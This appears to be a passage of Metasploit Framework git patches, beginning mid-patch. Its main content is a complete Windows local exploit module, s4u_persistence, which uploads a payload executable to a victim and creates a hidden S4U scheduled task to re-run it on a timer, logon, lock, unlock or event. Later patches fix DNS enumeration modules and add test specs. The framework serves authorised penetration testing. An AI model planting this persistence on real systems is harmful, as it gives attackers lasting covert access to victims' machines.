packages.include?('metasploit') + end +end + +unless is_svn || is_git || is_installed || is_apt raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" end From 3a499b1a6df332e4751f8fd8a3bd39bf3fb9988b Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Sun, 10 Feb 2013 14:22:36 -0500 Subject: [PATCH 065/341] added s4u_persistence.rb --- data/exploits/s4u_persistence | 50 +++ .../exploits/windows/local/s4u_persistence.rb | 402 ++++++++++++++++++ 2 files changed, 452 insertions(+) create mode 100644 data/exploits/s4u_persistence create mode 100644 modules/exploits/windows/local/s4u_persistence.rb diff --git a/data/exploits/s4u_persistence b/data/exploits/s4u_persistence new file mode 100644 index 0000000000..2d736d225e --- /dev/null +++ b/data/exploits/s4u_persistence @@ -0,0 +1,50 @@ + + + + DATEHERE + USERHERE + + + + + PT60M + false + + DATEHERE + true + + + + + DOMAINHERE + S4U + LeastPrivilege + + + + Parallel + true + true + true + false + false + + PT10M + PT1H + true + false + + true + true + true + false + false + PT72H + 7 + + + + COMMANDHERE + + + \ No newline at end of file diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb new file mode 100644 index 0000000000..0d5189064a --- /dev/null +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -0,0 +1,402 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/exe' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Exploit::EXE + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage User Level Persistent Payload Installer', + 'Description' => %q{ + Creates a scheduled task that will run using service-for-user (S4U). + This allows the scheduled task to run even as an unprivileged user + that is not logged into the device. This will result in lower security + context, allowing access to local resources only. The module + requires 'Logon as a batch job' permissions (SeBatchLogonRight). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Thomas McCarthy "smilingraccoon" ', + 'Brandon McCann "zeknox" ' + ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], + [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/'] + ] + )) + + register_options( + [ + OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']), + OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']), + OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]), + OptString.new('REXENAME',[false, 'Name of exe on remote system']), + OptString.new('RTASKNAME',[false, 'Name of exe on remote system']), + OptString.new('PATH',[false, 'PATH to write payload']) + ], self.class) + + register_advanced_options( + [ + OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), + OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), + OptString.new('XPATH', [false, 'XPath query']) + ], self.class) + end + + def exploit + if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) + print_error("This module only works on Vista/2008 and above") + return + end + + if datastore['TRIGGER'] == "event" + if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? + print_error("Advanced options EVENT_LOG and EVENT_ID required for event") + print_status("The properties of any event in the event viewer will contain this information") + return + end + end + + # Generate payload + payload = generate_payload_exe + + # Generate remote executable name + rexename = generate_rexename + + # Generate path names + xml_path,rexe_path = generate_path(rexename) + + # Upload REXE to victim fs + upload_response = upload_rexe(rexe_path, payload) + return if not upload_response + + # Create basic XML outline + xml = create_xml(rexe_path) + + # Fix XML based on trigger + xml = add_xml_triggers(xml) + + # Write XML to victim fs, if fail clean up + if not write_xml(xml, xml_path) + delete_file(rexe_path) + return + end + + # Name task with Opt or give random name + schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + + # Create task with modified XML + task = create_task(xml_path, schname, rexe_path) + end + + ############################################################## + # Generate name for payload + # Returns name + + def generate_rexename + if datastore['REXENAME'].nil? + rexename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + return rexename + elsif datastore['REXENAME'] =~ /\.exe$/ + rexename = datastore['REXENAME'] + return rexename + else + print_warning("#{datastore['REXENAME']} isn't an exe") + return rexename + end + end + + ############################################################## + # Generate Path for payload upload + # Returns path for xml and payload + + def generate_path(rexename) + # generate a path to write payload and xml + path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%") + xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" + rexe_path = "#{path}\\#{rexename}" + return xml_path,rexe_path + end + + ############################################################## + # Upload the executable payload + # Returns boolean for success + + def upload_rexe(path, payload) + vprint_status("Uploading #{path}") + if file? path + print_error("File #{path} already exists...exiting") + return false + end + begin + fd = client.fs.file.new(path, "wb") + fd.write(payload) + fd.close + rescue + print_error("Could not upload to #{path}") + return false + end + print_status("Successfully uploaded remote executable to #{path}") + return true + end + + ############################################################## + # Creates a scheduled task, exports as XML, deletes task + # Returns normal XML for generic task + + def create_xml(rexe_path) + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence") + xml_file = File.new(xml_path,"r") + xml = xml_file.read + xml_file.close + + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_warning("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + + # put in correct times + xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") + + domain, user = client.sys.config.getuid.split('\\') + + # put in user information + xml = xml.sub(/DOMAINHERE/, user) + xml = xml.sub(/USERHERE/, "#{domain}\\#{user}") + + xml = xml.sub(/COMMANDHERE/, rexe_path) + return xml + end + + ############################################################## + # Takes the XML, alters it based on trigger specified. Will also + # add in expiration tag if used. + # Returns the modified XML + + def add_xml_triggers(xml) + # Insert trigger + case datastore['TRIGGER'] + when 'logon' + # Trigger based on winlogon event, checks windows license key after logon + print_status("This trigger triggers on event 4101 which validates the Windows license") + line = "(EventID=4101) and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + xml = create_trigger_event_tags("Application", line, xml) + + when 'lock' + xml = create_trigger_tags("SessionLock", xml) + + when 'unlock' + xml = create_trigger_tags("SessionUnlock", xml) + + when 'event' + line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" + if not datastore['XPATH'].nil? + # Append xpath queries + line << " and #{datastore['XPATH']}" + end + vprint_status("XPath query: #{line}") + + xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) + + when 'schedule' + # Change interval tag, insert into XML + if datastore['FREQUENCY'] != 0 + minutes = datastore['FREQUENCY'] + else + print_status("Defaulting frequency to every hour") + minutes = 60 + end + xml = xml.sub(/.*?PT#{minutes}M<") + + # Generate expire tag + end_boundary = create_expire_tag if datastore['EXPIRE_TIME'] + + # Inject expire tag + insert = xml.index("") + xml.insert(insert + 16, "\n #{end_boundary}") + end + return xml + end + + ############################################################## + # Creates end boundary tag which expires the trigger + # Returns XML for expire + + def create_expire_tag() + # Get local time, not system time from victim machine + begin + vt = client.railgun.kernel32.GetLocalTime(32) + ut = vt['lpSystemTime'].unpack("v*") + t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) + rescue + print_error("Could not read system time from victim...using your local time to determine expire date") + t = ::Time.now + end + + # Create time object to add expire time to and create tag + t = t + (datastore['EXPIRE_TIME'] * 60) + date = t.strftime("%Y-%m-%d") + time = t.strftime("%H:%M:%S") + end_boundary = "#{date}T#{time}" + return end_boundary + end + + ############################################################## + # Creates trigger XML for session state triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_tags(trig, xml) + domain, user = client.sys.config.getuid.split('\\') + + # Create session state trigger, weird spacing used to maintain + # natural Winadows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}" if not datastore['EXPIRE_TIME'] + temp_xml << " true\n" + temp_xml << " #{trig}\n" + temp_xml << " #{domain}\\#{user}\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + + return xml + end + + ############################################################## + # Creates trigger XML for event based triggers and replaces + # the time trigger. + # Returns altered XML + + def create_trigger_event_tags(log, line, xml) + # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind + # used to maintain natural Windows spacing for XML export + temp_xml = "\n" + temp_xml << " #{create_expire_tag}\n" if not datastore['EXPIRE_TIME'] + temp_xml << " true\n" + temp_xml << " <QueryList><Query Id=\"0\" " + temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" + temp_xml << line + temp_xml << "</Select></Query></QueryList>" + temp_xml << "\n" + temp_xml << " " + + xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + return xml + end + + ############################################################## + # Takes the XML and a path and writes file to filesystem + # Returns boolean for success + + def write_xml(xml, path) + begin + if file? path + print_error("File #{path} already exists...exiting") + return false + end + fd = session.fs.file.new(path, "wb") + fd.write(xml) + fd.close + rescue + print_error("Issues writing XML to #{path}") + return false + end + print_status("Successfully wrote XML file to #{path}") + return true + end + + ############################################################## + # Takes path and delete file + # Returns boolean for success + + def delete_file(path) + begin + session.fs.file.rm(path) + rescue + print_warning("Could not delete file #{path}, delete manually") + return false + end + return true + end + + ############################################################## + # Takes path and name for task and creates final task + # Returns boolean for success + + def create_task(path, schname, rexe_path) + # create task using XML file on victim fs + create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") + if create_task_response =~ /has successfully been created/ + print_good("Persistence task #{schname} created successfully") + + # Create to delete commands for exe and task + del_task = "schtasks /delete /tn \"#{schname}\" /f" + print_status("#{"To delete task:".ljust(20)} #{del_task}") + print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") + del_task << "\ndel #{rexe_path}" + + # Delete XML from victim + delete_file(path) + + # Save info to notes DB + report_note(:host => session.session_host, + :type => "host.s4u_persistance.cleanup", + :data => { + :session_num => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :delete_commands => del_task + } + ) + return true + elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ + print_error("The scheduled task name is already in use") + # Clean up + delete_file(rexe_path) + delete_file(path) + else + print_error("Issues creating task using XML file schtasks") + vprint_error("Error: #{create_task_response}") + if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" + print_warning("Security log can restricted by UAC, try a different trigger") + end + # Clean up + delete_file(rexe_path) + delete_file(path) + return false + end + end +end \ No newline at end of file From 55efe01bf7874782fe0923af16b1fb2a273b271b Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 11:23:06 -0400 Subject: [PATCH 066/341] Applied fixes --- modules/auxiliary/gather/dns_info.rb | 30 +++++++++++++++++++--------- 1 file changed, 21 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index f57fb1649f..ce13243377 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -40,18 +40,23 @@ class Metasploit3 < Msf::Auxiliary def run print_status("Enumerating #{datastore['DOMAIN']}") @res = Net::DNS::Resolver.new() - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + wildcard(datastore['DOMAIN']) switchdns() if not datastore['NS'].nil? - # Get A and AAAA Records for the domain get_ip(datastore['DOMAIN']).each do |r| print_good("#{r[:host]} #{r[:address]} #{r[:type]}") report_host(:host => r[:address]) end - # Get Name Servers get_ns(datastore['DOMAIN']).each do |r| print_good("#{r[:host]} #{r[:address]} #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) @@ -63,13 +68,11 @@ class Metasploit3 < Msf::Auxiliary ) end - # Get SOA get_soa(datastore['DOMAIN']).each do |r| print_good("#{r[:host]} #{r[:address]} #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) end - #Get MX get_mx(datastore['DOMAIN']).each do |r| print_good("#{r[:host]} #{r[:address]} #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) @@ -81,10 +84,12 @@ class Metasploit3 < Msf::Auxiliary ) end - # Get TX get_txt(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") - report_host(:host => r[:address], :name => r[:host]) + report_note(:host => datastore['DOMAIN'], + :proto => 'UDP', + :port => 53, + :type => 'dns.info', + :data => {:text => r[:text]}) end end @@ -175,12 +180,19 @@ class Metasploit3 < Msf::Auxiliary #--------------------------------------------------------------------------------- def get_txt(target) + results = [] query = @res.query(target, "TXT") if (query) query.answer.each do |rr| + record = {} print_good("Text: #{rr.txt}, TXT") + record[:host] = target + record[:text] = rr.txt + record[:type] = "TXT" + results << record end end + return results end #--------------------------------------------------------------------------------- From 5f107046973def335d690497c048ca4622ce2649 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 11:31:13 -0400 Subject: [PATCH 067/341] applied fixes --- modules/auxiliary/gather/dns_reverse_lookup.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index e3e28342a6..cc102b9235 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -33,14 +33,21 @@ class Metasploit3 < Msf::Auxiliary [ OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), - OptInt.new('THREADS', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('THREADS', [ true, "Number of seconds to wait before doing a retry", 2]), ], self.class) end def run @res = Net::DNS::Resolver.new() - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + @threadnum = datastore['THREADS'].to_i switchdns() if not datastore['NS'].nil? reverselkp(datastore['RANGE']) @@ -72,7 +79,6 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::ConnectionError rescue ::Exception => e print_error("Error: #{tip}: #{e.message}") - elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}") end end end From fd6f00f641e3a2e3d3b9cac459fe592ea394882f Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 11:37:20 -0400 Subject: [PATCH 068/341] added report note for wildcard --- modules/auxiliary/gather/dns_info.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index ce13243377..a6f0ff2b80 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -101,6 +101,11 @@ class Metasploit3 < Msf::Auxiliary print_status("This Domain has Wildcards Enabled!!") query.answer.each do |rr| print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + report_note(:host => datastore['DOMAIN'], + :proto => 'UDP', + :port => 53, + :type => 'dns.wildcard', + :data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") end return true else From 949eb080626f15dbb9a0ba2ed748e316ef8da00e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 11 Feb 2013 09:59:39 -0600 Subject: [PATCH 069/341] In the final stages --- spec/lib/rex/sslscan/result_spec.rb | 9 --------- spec/lib/rex/sslscan/scanner_spec.rb | 2 -- 2 files changed, 11 deletions(-) diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 5e3e0ebfa5..ce8ceda985 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -1,5 +1,4 @@ require 'rex/sslscan/result' -require 'pry' describe Rex::SSLScan::Result do @@ -457,12 +456,4 @@ describe Rex::SSLScan::Result do end end - it "should output to a nice printable string" do - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - binding.pry - end - end \ No newline at end of file diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index f2dfb9211d..809eae327b 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -3,8 +3,6 @@ require 'rex/thread_factory' require 'rex/text' require 'rex/compat' -require 'pry' - describe Rex::SSLScan::Scanner do subject{Rex::SSLScan::Scanner.new("google.com", 443)} From 431641fec9cfcdede80fa543d7d921cff81a5f52 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 12:02:15 -0400 Subject: [PATCH 070/341] added check for retry options --- modules/auxiliary/gather/dns_srv.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index 4bbccba518..71f95c161d 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -38,8 +38,13 @@ class Metasploit3 < Msf::Auxiliary def run records = [] @res = Net::DNS::Resolver.new() - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") records = records + srvqry(datastore['DOMAIN']) From 6c85e5242e6285f3a76b14c24fa85a59b6288fd2 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 11 Feb 2013 12:04:30 -0400 Subject: [PATCH 071/341] change wildcard message to print_warning --- modules/auxiliary/gather/dns_bruteforce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 0c289eddb3..070c32f0cc 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary if query.answer.length != 0 print_status("This Domain has Wildcards Enabled!!") query.answer.each do |rr| - print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + print_warning("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME end return true else From 039fd2b8853fc0deae8ecc522db41b21a2f8e105 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 11 Feb 2013 15:54:40 -0600 Subject: [PATCH 072/341] Adds some light testing for Rex's HTTP client lib In light ofi PR #1476, it would be nice to have some basic, modern, maintained testing on Rex's HTTP Client proto library. My rspec fu is quite weak, of course, but this should cover the very basic cases. There are lots of pending holes, but hey, it's a start. --- lib/rex/proto/http/client.rb | 3 +- spec/lib/rex/proto/http/client.rb | 244 ++++++++++++++++++++++++++++++ 2 files changed, 246 insertions(+), 1 deletion(-) create mode 100644 spec/lib/rex/proto/http/client.rb diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 760268a7f7..6159514399 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -420,7 +420,8 @@ class Client !(self.username.nil?) && self.username != '' end - # + alias :has_creds? :have_creds? + # Params - # res = The 401 response we need to auth from # opts = the opts used to generate the request that created this response diff --git a/spec/lib/rex/proto/http/client.rb b/spec/lib/rex/proto/http/client.rb new file mode 100644 index 0000000000..7555614842 --- /dev/null +++ b/spec/lib/rex/proto/http/client.rb @@ -0,0 +1,244 @@ +require 'rex/proto/http/client' + +# Note: Some of these tests require a failed +# connection to 127.0.0.1:1. If you have some crazy local +# firewall that is dropping packets to this, your tests +# might be slow. I wonder how Travis-CI will react to this... + +# Set a standard excuse that indicates that the method +# under test needs to be first examined to figure out +# what's sane and what's not. +def excuse_lazy(test_method=nil) + ret = "need to determine pass/fail criteria" + test_method ? ret << " for #{test_method.inspect}" : ret +end + +# Complain about not having a "real" connection (can be mocked) +def excuse_needs_connection + "need to actually set up an HTTP server to test" +end + +# Complain about not having a real auth server (can be mocked) +def excuse_needs_auth + "need to set up an HTTP authentication challenger" +end + +describe Rex::Proto::Http::Client do + + ip = "1.2.3.4" + + cli = Rex::Proto::Http::Client.new(ip) + it "should respond to intialize" do + cli.should be + end + + it "should have a set of default instance variables" do + cli.instance_variable_get(:@hostname).should == ip + cli.instance_variable_get(:@port).should == 80 + cli.instance_variable_get(:@context).should == {} + cli.instance_variable_get(:@ssl).should be_false + cli.instance_variable_get(:@proxies).should be_nil + cli.instance_variable_get(:@username).should be_empty + cli.instance_variable_get(:@password).should be_empty + cli.config.should be_a_kind_of Hash + cli.config_types.should be_a_kind_of Hash + end + + it "should produce a raw HTTP request" do + cli.request_raw.should be_a_kind_of Rex::Proto::Http::Request + end + + it "should produce a CGI HTTP request" do + cli.request_cgi.should be_a_kind_of Rex::Proto::Http::Request + end + + it "should attempt to connect to a server" do + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused + end + + it "should be able to close a connection" do + cli.close.should be_nil + end + + it "should send a request and receive a response" do + # cli.send_recv + pending excuse_needs_connection + end + + it "should send a request and receive a response without auth handling" do + # cli._send_recv + pending excuse_needs_connection + end + + it "should send a request" do + # cli.send_request + pending excuse_needs_connection + end + + it "should test for credentials" do + cli.should_not have_creds + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + this_cli.should have_creds + end + + it "should send authentication" do + pending excuse_needs_connection + end + + it "should produce a basic authentication header" do + u = "user1" + p = "pass1" + b64 = ["#{u}:#{p}"].pack("m*").strip + cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" + end + + it "should perform digest authentication" do + # cli.digest_auth + pending excuse_needs_auth + end + + it "should perform negotiate authentication" do + # cli.negotiate_auth + pending excuse_needs_auth + end + + it "should get a response" do + # cli.read_response + pending excuse_needs_connection + end + + it "should end a connection with a stop" do + cli.stop.should be_nil + end + + it "should test if a connection is valid" do + cli.conn?.should be_false + end + + it "should tell if pipelining is enabled" do + cli.pipelining?.should be_false + this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) + this_cli.pipeline = true + this_cli.pipelining?.should be_true + end + + it "should return an encoded URI" do + pending excuse_lazy :set_encode_uri + end + + it "should return an encoded query string" do + pending excuse_lazy :set_encode_qa + end + + # These set_ methods all exercise the evasion opts, looks like + + it "should set and return the URI" do + pending excuse_lazy :set_uri + end + + it "should set and return the CGI" do + pending excuse_lazy :set_cgi + end + + it "should set and return the HTTP verb" do + pending excuse_lazy :set_method + end + + it "should set and return the version string" do + pending excuse_lazy :set_version + end + + it "should set and return the HTTP seperator and body string" do + pending excuse_lazy :set_body + end + + it "should set and return the path" do + pending excuse_lazy :set_path_info + end + + it "should set and return the whitespace between method and URI" do + pending excuse_lazy :set_method_uri_spacer + end + + it "should set and return the whitespace between the version and URI" do + pending excuse_lazy :set_uri_version_spacer + end + + it "should set and return padding before the URI" do + pending excuse_lazy :set_uri_prepend + end + + it "should set and return padding after the URI" do + cli.set_uri_append.should be_empty + end + + it "should set and return the host header" do + pending excuse_lazy :set_host_header + end + + it "should set and return the agent header" do + pending excuse_lazy :set_agent_header + end + + it "should set and return the cookie header" do + pending excuse_lazy :set_cookie_header + end + + + it "should set and return the content-type header" do + pending excuse_lazy :set_cookie_header + end + + it "should set and return the content-length header" do + pending excuse_lazy :set_content_len_header + end + + it "should set and return the basic authentication header" do + pending excuse_lazy :set_basic_auth_header + end + + it "should set and return any extra headers" do + pending excuse_lazy :set_extra_headers + end + + it "should set the chunked encoding header" do + pending excuse_lazy :set_chunked_header + end + + it "should set and return raw_headers" do + pending "#set_raw_headers() doesn't seem to actually do anything" + end + + it "should set and return a formatted header" do + pending :set_formatted_header + end + + it "should respond to its various accessors" do + cli.should respond_to :config + cli.should respond_to :config_types + cli.should respond_to :pipeline + cli.should respond_to :local_host + cli.should respond_to :local_port + cli.should respond_to :conn + cli.should respond_to :context + cli.should respond_to :proxies + cli.should respond_to :username + cli.should respond_to :password + cli.should respond_to :junk_pipeline + # These are supposed to be protected + cli.should respond_to :ssl + cli.should respond_to :ssl_version + cli.should respond_to :hostname + cli.should respond_to :port + end + + # Not super sure why these are protected... + it "should refuse access to its protected accessors" do + expect {cli.ssl}.to raise_error NoMethodError + expect {cli.ssl_version}.to raise_error NoMethodError + expect {cli.hostname}.to raise_error NoMethodError + expect {cli.port}.to raise_error NoMethodError + end + +end From adfd26eb2ddc4309a1813e76f760025fc2e06922 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 11 Feb 2013 17:08:14 -0600 Subject: [PATCH 073/341] Cleanup to_s output --- lib/rex.rb | 4 ++++ lib/rex/sslscan/result.rb | 8 ++++++-- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/rex.rb b/lib/rex.rb index adc93d2535..7a08e4ea8f 100644 --- a/lib/rex.rb +++ b/lib/rex.rb @@ -88,6 +88,10 @@ require 'rex/compat' # Platforms require 'rex/platforms' +#SSLScan +require 'rex/sslscan/scanner' +require 'rex/sslscan/result' + # Overload the Kernel.sleep() function to be thread-safe Kernel.class_eval(" diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 9a3b59e39e..9dee8c0048 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -164,7 +164,8 @@ class Result table = Rex::Ui::Text::Table.new( 'Header' => 'SSL Ciphers', 'Indent' => 1, - 'Columns' => ['Status', 'Weak', 'SSL Version', 'Key Length', 'Cipher'] + 'Columns' => ['Status', 'Weak', 'SSL Version', 'Key Length', 'Cipher'], + 'SortIndex' => -1 ) ciphers.each do |cipher| if cipher[:weak] @@ -172,8 +173,11 @@ class Result else weak = ' ' end - table << [cipher[:status], weak , cipher[:version], cipher[:key_length], cipher[:cipher]] + table << [cipher[:status].to_s.capitalize, weak , cipher[:version], cipher[:key_length], cipher[:cipher]] end + + # Sort by SSL Version, then Key Length, and then Status + table.rows.sort_by!{|row| [row[0],row[2],row[3]]} text = "#{table.to_s}" if @cert text <<" \n\n #{@cert.to_text}" From ba7f5a72455cf28231a5a11bc4557bc274a09637 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 11 Feb 2013 21:04:57 -0600 Subject: [PATCH 074/341] Actually run this spec. --- spec/lib/rex/proto/http/{client.rb => client_spec.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename spec/lib/rex/proto/http/{client.rb => client_spec.rb} (100%) diff --git a/spec/lib/rex/proto/http/client.rb b/spec/lib/rex/proto/http/client_spec.rb similarity index 100% rename from spec/lib/rex/proto/http/client.rb rename to spec/lib/rex/proto/http/client_spec.rb From 5a0744934efc130e2f1b8da7a19d46448e166a04 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 11 Feb 2013 21:06:52 -0600 Subject: [PATCH 075/341] Let's not intro functionality as testing That's a bad habit to get into. --- lib/rex/proto/http/client.rb | 3 +-- spec/lib/rex/proto/http/client_spec.rb | 7 ++++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 6159514399..760268a7f7 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -420,8 +420,7 @@ class Client !(self.username.nil?) && self.username != '' end - alias :has_creds? :have_creds? - + # # Params - # res = The 401 response we need to auth from # opts = the opts used to generate the request that created this response diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 7555614842..de8c68f186 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -77,9 +77,10 @@ describe Rex::Proto::Http::Client do end it "should test for credentials" do - cli.should_not have_creds - this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - this_cli.should have_creds + # cli.should_not have_creds + # this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + # this_cli.should have_creds + pending "Should actually respond to :has_creds" end it "should send authentication" do From 